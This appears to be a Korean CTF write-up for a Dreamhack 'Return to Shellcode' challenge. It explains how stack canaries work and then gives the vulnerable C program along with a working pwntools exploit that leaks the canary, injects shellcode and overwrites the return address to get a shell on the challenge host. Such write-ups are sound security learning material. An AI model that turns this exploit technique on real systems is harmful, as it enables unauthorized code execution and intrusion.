함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 에필로그에서 값의 변조를 확인하여 버퍼 오버플로우를 막는 보호 기법.
checksec으로 활성화된 보호 기법 확인

확인해 보면 Canary, RELRO, PIE가 적용되어있는 것을 확인 할 수 있다.
함수의 프롤로그와 에필로그 확인
Canary가 적용되기 전과 후의 코드를 비교하면 아래의 코드들이 추가되었다.


프롤로그 코드를 보면 fs 레지스터가 나온다.이 fs:0x28에 랜덤한 값이 생성되고 그 값을 rax에 저장된다. 다시 rax값은 rbp-0x8에 저장된다.
fs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터로, 리눅스에서는TLS(Thread Local Storage)를 가리키는 포인터로 사용한다.
에필로그 코드를 보면 rbp-0x8에 저장한 fs:0x28 값을 rcx에 저장한다. 그리고는 rbp-0x8과 fs:0x28값을 xor 시킨다. xor을 하였을 때, 두 값이 같으면 ZF=1이 될 것이고, 다르면 ZF=0이 나올 것이다. 이 값으로 JE 분기구문을 실행해서 만약 두 값이 같으면(변조가 되지 않았으면) 버퍼 오버플로우가 일어나지 않은 것으로 간주한다. 다르면 버퍼 오버 플로우가 일어난 것으로 간주하고 __stack_chk_fail@plt를 실행하고 프로세스가 강제 종료된다.
앞에서 살펴봤듯이, fs:0x28에 저장되고, fs는 TLS를 가리킨다. 우리는 fs의 주소를 알면 canary값을 구할 수 있고, 이를 통해 Canary 보호 기법을 우회 할 수 있다.
그러나 fs는 cs,ss,ds와 같이 info register fs나 print $fs를 통해 값을 알 수 없다.
따라서 우리는 fs값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 fs에 어떤 값으로 설정되는지 확인할 수 있다.
catch syscall arch_prctl 명령어를 gdb에 입력하여 TLS 과정까지 진행한다.

이 TLS 과정에서 RDI = 0x1002를 가리키는데 이 값은 ARCH_SET_FS의 상수값이다. 그리고 RSI = 0x7ffff7fa8740을 가리키는데 이 값이 fs를 가리키게 되는 값이다.
해당 문제는 드림핵의 Return to Shellcode 문제를 Write up 한 것이다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
이 코드를 통해 buf의 주소, rbp와 buf사이의 주소 차이를 확인 한다.
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
이 코드에서 buf는 0x50의 크기인데 0x100을 입력 받기 때문에 버퍼 오버플로우가 발생한다는 것을 알 수 있다.
[1] Leak the canary 부분에서 Buf를 0x58만큼 dummy 값을 입력하여 Canary 직전까지 입력한다음, Canary값을 printf 문을 통해 입력받는다.
[2] Overwrite the return address 부분을 통해 Buf에 쉘코드를 입력하고, Canary, SFP를 모두 적절하게 입력한다. 그리고 RET 주소에 buf 주소를 입력하여 쉘코드를 실행시킨다. 이런 알고리즘으로 익스플로잇 코드를 작성하면 아래와 같다.
# r2s.py
from pwn import *
def slog(name,addr): return success(' : '.join([name,hex(addr)]))
context.arch = "amd64"
p = remote("host1.dreamhack.games", 16192)
shellcode = asm(shellcraft.sh())
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1],16)
slog('buf',buf)
p.sendafter(b'Input: ',b'A'*89)
p.recvuntil(b"A" *89)
canary = u64(b"\x00" + p.recv(7))
slog('canary',canary)
payload = shellcode
payload += b'A'*(88-len(shellcode))
payload += p64(canary)
payload += b'A'*8
payload += p64(buf)
p.sendafter(b'Input: ',payload)
p.interactive()
결과
[+] Opening connection to host1.dreamhack.games on port 16192: Done
[+] buf : 0x7ffc49d28070
[+] canary : 0xb57808214d199e00
[*] Switching to interactive mode
$ ls
$ ls
flag
r2s
$ cat flag
DH{***************************}
[*] Got EOF while reading in interactive
문제 풀다보니 알고리즘은 문제가 없는데, sendlineafter랑 sendafter 등등을 혼용해서 사용하면 가끔식 잘못 페이로드가 보내진다. 이에 주의해서 사용하자.